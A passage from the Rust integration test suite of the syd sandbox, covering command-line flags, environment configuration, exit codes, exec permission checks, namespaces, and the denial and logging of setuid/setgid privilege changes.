    test_entry!(test_syd_proc_set_at_secure_test_32bit_static_pie_2),
    test_entry!(test_syd_ptrace_set_syscall_chdir_noop),
    test_entry!(test_syd_ptrace_set_syscall_chdir_eperm),
    test_entry!(test_syd_ptrace_set_syscall_chdir_enoent),
    test_entry!(test_syd_ptrace_set_syscall_chdir_esrch),
    test_entry!(test_syd_ptrace_set_syscall_chdir_eintr),
    test_entry!(test_syd_ptrace_set_syscall_chdir_eio),
    test_entry!(test_syd_ptrace_set_syscall_chdir_enxio),
    test_entry!(test_syd_ptrace_set_syscall_chdir_e2big),
    test_entry!(test_syd_ptrace_set_syscall_chdir_enoexec),
    test_entry!(test_syd_ptrace_set_syscall_chdir_ebadf),
    test_entry!(test_syd_ptrace_set_syscall_chdir_echild),
    test_entry!(test_syd_ptrace_get_syscall_info_random_args),
    test_entry!(test_syd_ptrace_get_error_chdir_success),
    test_entry!(test_syd_ptrace_get_error_chdir_enoent),
    test_entry!(test_syd_ptrace_get_error_chdir_eacces),
    test_entry!(test_syd_ptrace_get_error_chdir_enotdir),
    test_entry!(test_syd_ptrace_get_error_chdir_efault),
    test_entry!(test_syd_waitid_with_kptr_default),
    test_entry!(test_syd_waitid_with_kptr_unsafe),
    test_entry!(test_syd_tor_recv4_one),
    test_entry!(test_syd_tor_recv6_one),
    test_entry!(test_syd_tor_send44_one),
    test_entry!(test_syd_tor_send46_one),
    test_entry!(test_syd_tor_send4u_one),
    test_entry!(test_syd_tor_send66_one),
    test_entry!(test_syd_tor_send64_one),
    test_entry!(test_syd_tor_send6u_one),
    test_entry!(test_syd_tor_send44_many_seq),
    test_entry!(test_syd_tor_send46_many_seq),
    test_entry!(test_syd_tor_send4u_many_seq),
    test_entry!(test_syd_tor_send66_many_seq),
    test_entry!(test_syd_tor_send64_many_seq),
    test_entry!(test_syd_tor_send6u_many_seq),
    test_entry!(test_syd_tor_send44_many_par),
    test_entry!(test_syd_tor_send46_many_par),
    test_entry!(test_syd_tor_send4u_many_par),
    test_entry!(test_syd_tor_send66_many_par),
    test_entry!(test_syd_tor_send64_many_par),
    test_entry!(test_syd_tor_send6u_many_par),
    test_entry!(test_syd_lock_errata),
    //TODO:test_entry!(test_syd_tor_bench), // use wrk
    //TODO:test_entry!(test_syd_tor_proxy), // use haproxy/nginx+wrk
    // TODO: Investigate podman errors on CI:
    // https://builds.sr.ht/~alip/job/1644856
    #[cfg(all(feature = "oci", not(target_env = "musl")))]
    test_entry!(test_syd_oci_api_version_major),
    #[cfg(all(feature = "oci", not(target_env = "musl")))]
    test_entry!(test_syd_oci_api_version_minor),
    #[cfg(all(feature = "oci", not(target_env = "musl")))]
    test_entry!(test_syd_oci_api_version_version),
    #[cfg(all(feature = "oci", not(target_env = "musl")))]
    test_entry!(test_syd_oci_syslog_init),
];

// Tests if syd -V and --version works.
fn test_syd_version() -> TestResult {
    let status = syd().arg("-V").status().expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .stdout(Stdio::null())
        .stderr(Stdio::null())
        .arg("--version")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd -E works.
fn test_syd_export_syntax_1() -> TestResult {
    skip_unless_available!("true");

    let status = syd()
        .arg("-Ebpf")
        .stderr(Stdio::inherit())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd -E works.
fn test_syd_export_syntax_2() -> TestResult {
    skip_unless_available!("true");

    let status = syd()
        .arg("-Epfc")
        .stderr(Stdio::inherit())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd -E works.
fn test_syd_export_syntax_3() -> TestResult {
    skip_unless_available!("true");

    let status = syd()
        .arg("-EBPF")
        .stderr(Stdio::inherit())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd -E works.
fn test_syd_export_syntax_4() -> TestResult {
    skip_unless_available!("true");

    let status = syd()
        .arg("-EPFC")
        .stderr(Stdio::inherit())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd -E works.
fn test_syd_export_syntax_5() -> TestResult {
    skip_unless_available!("true");

    let status = syd()
        .arg("-EbPf")
        .stderr(Stdio::inherit())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd -E works.
fn test_syd_export_syntax_6() -> TestResult {
    skip_unless_available!("true");

    let status = syd()
        .arg("-EPfc")
        .stderr(Stdio::inherit())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd -E works.
fn test_syd_export_syntax_7() -> TestResult {
    skip_unless_available!("true");

    let status = syd()
        .arg("-Eb")
        .stderr(Stdio::inherit())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    let status = syd()
        .arg("-Ef")
        .stderr(Stdio::inherit())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if syd -E outputs parent rules.
fn test_syd_export_sanity_parent() -> TestResult {
    skip_unless_available!("grep", "sh");

    let syd = &SYD.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!("{syd} -Epfc | grep -iq 'syd parent rules'"))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd -E outputs socket rules.
fn test_syd_export_sanity_socket() -> TestResult {
    skip_unless_available!("grep", "sh");

    let syd = &SYD.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!("{syd} -Epfc | grep -iq 'syd socket rules'"))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd -E outputs waiter rules.
fn test_syd_export_sanity_waiter() -> TestResult {
    skip_unless_available!("grep", "sh");

    let syd = &SYD.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!("{syd} -Epfc | grep -iq 'syd waiter rules'"))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd -E outputs process rules.
fn test_syd_export_sanity_process() -> TestResult {
    skip_unless_available!("grep", "sh");

    let syd = &SYD.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!("{syd} -Epfc | grep -iq 'syd process rules'"))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd -E outputs monitor rules.
fn test_syd_export_sanity_monitor() -> TestResult {
    skip_unless_available!("grep", "sh");

    let syd = &SYD.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!("{syd} -Epfc | grep -iq 'syd monitor rules'"))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_config_environment_simple() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("setenv!HOME=/tmp/syd")
        .arg("sh")
        .arg("-cex")
        .arg(r#"test x$HOME = x/tmp/syd"#)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_config_environment_override_simple() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("setenv!HOME=/tmp")
        .m("setenv!HOME=${HOME}/syd")
        .arg("sh")
        .arg("-cex")
        .arg(r#"test x$HOME = x/tmp/syd"#)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_config_environment_override_with_default_unset() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("setenv!HOME=/var")
        .m("unsetenv!HOME")
        .m("setenv!HOME=${HOME:-/tmp}/syd")
        .arg("sh")
        .arg("-cex")
        .arg(r#"test x$HOME = x/tmp/syd"#)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_config_environment_override_with_default_clear() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("setenv!HOME=/var")
        .m("clearenv!")
        .m("setenv!HOME=${HOME:-/tmp}/syd")
        .m("setenv!PATH=/usr/local/bin:/usr/bin:/bin")
        .arg("sh")
        .arg("-cex")
        .arg(r#"test x$HOME = x/tmp/syd"#)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_config_environment_deny_set() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("setenv!SYD_LOG_FD=1")
        .arg("sh")
        .arg("-cex")
        .arg(r#"true"#)
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);
    Ok(())
}

fn test_syd_config_environment_deny_unset() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("unsetenv!SYD_LOG_FD=1")
        .arg("sh")
        .arg("-cex")
        .arg(r#"true"#)
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);
    Ok(())
}

fn test_syd_config_environment_filter_clear() -> TestResult {
    skip_unless_available!("sh");

    let log = env::var_os("SYD_LOG");
    env::set_var("SYD_LOG", "alert");
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("clearenv!")
        .m("setenv!HOME=/tmp/${SYD_LOG}")
        .m("setenv!PATH=/usr/local/bin:/usr/bin:/bin")
        .arg("sh")
        .arg("-cex")
        .arg(r#"test x$HOME = x/tmp/alert"#)
        .status();
    if let Some(var) = log {
        env::set_var("SYD_LOG", var);
    } else {
        env::remove_var("SYD_LOG");
    }
    let status = status.expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_config_environment_deny_live_set() -> TestResult {
    let status = syd()
        .p("fs")
        .m("lock:exec")
        .m("allow/all+/***")
        .do_("stat", ["/dev/syd/setenv!HOME=1"])
        .status()
        .expect("execute syd");
    assert_status_busy!(status);
    Ok(())
}

fn test_syd_config_environment_deny_live_unset() -> TestResult {
    let status = syd()
        .p("fs")
        .m("lock:exec")
        .m("allow/all+/***")
        .do_("stat", ["/dev/syd/unsetenv!HOME"])
        .status()
        .expect("execute syd");
    assert_status_busy!(status);
    Ok(())
}

fn test_syd_config_environment_deny_live_clear() -> TestResult {
    let status = syd()
        .p("fs")
        .m("lock:exec")
        .m("allow/all+/***")
        .do_("stat", ["/dev/syd/clearenv!"])
        .status()
        .expect("execute syd");
    assert_status_busy!(status);
    Ok(())
}

fn test_syd_log_fd_validate() -> TestResult {
    skip_unless_available!("grep", "sh");

    let syd = &SYD.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
r=0
SYD_LOG_FD=-9 {syd} -pu true || r=$?
test $r -eq 0

r=0
SYD_LOG_FD=9 {syd} -pu true || r=$?
test $r -eq 9 # EBADF

r=0
:>syd.log
SYD_LOG_FD=9 {syd} -pu true 9<syd.log || r=$?
test $r -eq 77 # EBADFD

r=0
rm -f syd.log
SYD_LOG_FD=9 SYD_LOG=info {syd} -pu true 9>syd.log || r=$?
test $r -eq 0
test -s syd.log
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

// Tests if `true` returns success under sandbox.
fn test_syd_true_returns_success() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("exit", ["0"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if `syd` returns success for a sandbox running many processes,
// in case the execve child returns success.
fn test_syd_true_returns_success_with_many_processes() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("fork", ["0", "8"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if `syd` returns success for a sandbox running many threads,
// in case the execve child returns success.
fn test_syd_true_returns_success_with_many_threads() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("thread", ["0", "8"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if `false` returns failure under sandbox.
fn test_syd_false_returns_failure() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .argv(["false"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    let status = syd()
        .p("off")
        .argv(["false"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if `syd` returns failure for a sandbox running many processes,
// in case the execve child returns failure.
fn test_syd_true_returns_failure_with_many_processes() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("fork", ["7", "8"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, 7);
    Ok(())
}

// Tests if `syd` returns failure for a sandbox running many threads,
// in case the execve child returns failure.
fn test_syd_true_returns_failure_with_many_threads() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_("thread", ["7", "8"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, 7);
    Ok(())
}

fn test_syd_at_execve_check() -> TestResult {
    skip_unless_at_execve_check_is_supported!();
    skip_unless_available!("sh");

    let syd_x = &SYD_X.to_string();
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .argv(["sh", "-cex"])
        .arg(format!(
            r##"
{syd_x} exec || r=$?
test $r -eq 2 # ENOENT
:>exec
test -x exec || true
{syd_x} exec || r=$?
test $r -eq 13 # EACCES
chmod +x exec
test -x exec
{syd_x} exec || r=$?
test $r -eq 8 # ENOEXEC
echo '#!/bin/true' > exec
{syd_x} exec
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_empty_file_returns_enoexec() -> TestResult {
    // Step 1: Create a file that's empty called "empty"
    let path = Path::new("empty");
    let file = File::create(path)?;

    // Set permissions to executable
    let mut perms = file.metadata()?.permissions();
    perms.set_mode(0o755); // -rwxr-xr-x
    file.set_permissions(perms)?;
    drop(file); // close the file.

    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do_("exec", ["./empty"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, ENOEXEC);

    Ok(())
}

fn test_syd_non_executable_file_returns_eacces_empty() -> TestResult {
    // Create a file that's non-executable called "non-executable"
    let path = Path::new("non-executable");
    let file = File::create(path)?;

    // Set permissions to non-executable
    let mut perms = file.metadata()?.permissions();
    perms.set_mode(0o644); // -rw-r--r--
    file.set_permissions(perms)?;
    drop(file); // close the file.

    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do_("exec", ["./non-executable"])
        .status()
        .expect("execute syd");
    // empty & non-executable file must return EACCES not ENOEXEC!
    assert_status_access_denied!(status);

    Ok(())
}

fn test_syd_non_executable_file_returns_eacces_binary() -> TestResult {
    // Create a file that's non-executable called "non-executable"
    let path = Path::new("non-executable");
    let mut file = File::create(path)?;

    writeln!(
        file,
        "Change return success. Going and coming without error. Action brings good fortune."
    )?;

    // Set permissions to non-executable
    let mut perms = file.metadata()?.permissions();
    perms.set_mode(0o644); // -rw-r--r--
    file.set_permissions(perms)?;
    drop(file); // close the file.

    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do_("exec", ["./non-executable"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    Ok(())
}

fn test_syd_non_executable_file_returns_eacces_script() -> TestResult {
    // Create a file that's non-executable called "non-executable"
    let path = Path::new("non-executable");
    let mut file = File::create(path)?;

    writeln!(file, "#!/bin/sh\nexit 42")?;

    // Set permissions to non-executable
    let mut perms = file.metadata()?.permissions();
    perms.set_mode(0o644); // -rw-r--r--
    file.set_permissions(perms)?;
    drop(file); // close the file.

    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do_("exec", ["./non-executable"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    Ok(())
}

fn test_syd_sigint_returns_130() -> TestResult {
    skip_unless_available!("kill", "sh");

    let status = syd()
        .p("off")
        .argv(["sh", "-cx"])
        .arg(r#"exec kill -INT $$"#)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 130);

    Ok(())
}

fn test_syd_sigabrt_returns_134() -> TestResult {
    skip_unless_available!("kill", "sh");

    let status = syd()
        .p("off")
        .argv(["sh", "-cx"])
        .arg(r#"exec kill -ABRT $$"#)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 134);

    Ok(())
}

fn test_syd_sigkill_returns_137() -> TestResult {
    skip_unless_available!("kill", "sh");

    let status = syd()
        .p("off")
        .argv(["sh", "-cx"])
        .arg(r#"exec kill -KILL $$"#)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 137);

    Ok(())
}

fn test_syd_reap_zombies_bare() -> TestResult {
    skip_unless_available!("bash", "sleep");

    let status = syd()
        .p("off")
        .argv(["bash", "-cex"])
        .arg(
            r#"
for i in {1..10}; do
    ( sleep $i ) &
done
disown
exit 42
        "#,
        )
        .status()
        .expect("execute syd");
    assert_status_code!(status, 42);

    Ok(())
}

fn test_syd_reap_zombies_wrap() -> TestResult {
    skip_unless_available!("bash");
    skip_unless_unshare!("user", "mount", "pid");

    let status = syd()
        .p("off")
        .m("unshare/user,mount,pid:1")
        .argv(["bash", "-c"])
        .arg(
            r#"
set -e
for i in {1..10}; do
    ( sleep $i ) &
done
echo >&2 "Spawned 10 processes in the background."
echo >&2 "Disowning and exiting..."
disown
exit 42
        "#,
        )
        .status()
        .expect("execute syd");
    assert_status_code!(status, 42);

    Ok(())
}

// Tests if timeout command works.
fn test_syd_timeout() -> TestResult {
    skip_unless_available!("sleep");

    let status = syd()
        .p("off")
        .m("timeout:10s")
        .argv(["sleep", "inf"])
        .status()
        .expect("execute syd");
    assert_status_timeout_exceeded!(status);

    Ok(())
}

// Tests if `whoami` returns `root` with `root/fake:1`
fn test_syd_whoami_returns_root_fake() -> TestResult {
    let status = syd()
        .p("off")
        .m("root/fake:1")
        .do_("getuid", ["0"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if `whoami` returns `root` with `root/map:1`
fn test_syd_whoami_returns_root_user() -> TestResult {
    skip_unless_unshare!("user");

    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("root/map:1")
        .do_("getuid", ["0"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_uts_sethostname_default() -> TestResult {
    let status = syd()
        .p("off")
        .do_("sethostname", ["foo"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_uts_sethostname_unshare() -> TestResult {
    skip_unless_unshare!("user", "uts");
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_namespace:user,uts")
        .do_("sethostname", ["foo"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_uts_setdomainname_default() -> TestResult {
    let status = syd()
        .p("off")
        .do_("setdomainname", ["foo"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_uts_setdomainname_unshare() -> TestResult {
    skip_unless_unshare!("user", "uts");
    skip_unless_available!("sh", "unshare");

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_namespace:user,uts")
        .do_("setdomainname", ["bar"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_0_setuid_nobody_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setuid", ["65534"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_0_setuid_nobody_safesetid_deny() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SAFETY: See the comment to test setuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no matching UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setuid+${SYD_UID}:65533")
        .do_("setuid", ["65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_0_setuid_root_safesetid_deny() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no matching UID transition defined.
    // The syscall must be denied with EACCES for UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setuid success.

    // SAFETY: Compared to the test setuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setuid+${SYD_UID}:65533")
        .do_("setuid", ["1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_0_setuid_nobody_safesetid_allow() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let status = syd()
        .p("off")
        .m("setuid+${SYD_UID}:nobody")
        .do_("setuid", ["65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | EINVAL);

    Ok(())
}

fn test_syd_0_setgid_nobody_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setgid", ["65534"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_0_setgid_nobody_safesetid_deny() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setgid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no matching GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setgid+${SYD_GID}:65533")
        .do_("setgid", ["65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_0_setgid_root_safesetid_deny() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no matching GID transition defined.
    // The syscall must be denied with EACCES for GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setgid success.

    // SAFETY: Compared to the test setgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setgid+${SYD_GID}:65533")
        .do_("setgid", ["1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_0_setgid_nobody_safesetid_allow() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let status = syd()
        .p("off")
        .m("setgid+${SYD_GID}:65534")
        .do_("setgid", ["65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | EINVAL);

    Ok(())
}

fn test_syd_0_setreuid_nobody_default_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setreuid", ["-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_0_setreuid_nobody_default_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setreuid", ["65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_0_setreuid_nobody_default_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setreuid", ["65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_0_setreuid_nobody_safesetid_deny_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setreuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no matching UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setuid+${SYD_UID}:65533")
        .do_("setreuid", ["-1", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_0_setreuid_nobody_safesetid_deny_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setreuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no matching UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setuid+${SYD_UID}:65533")
        .do_("setreuid", ["65534", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
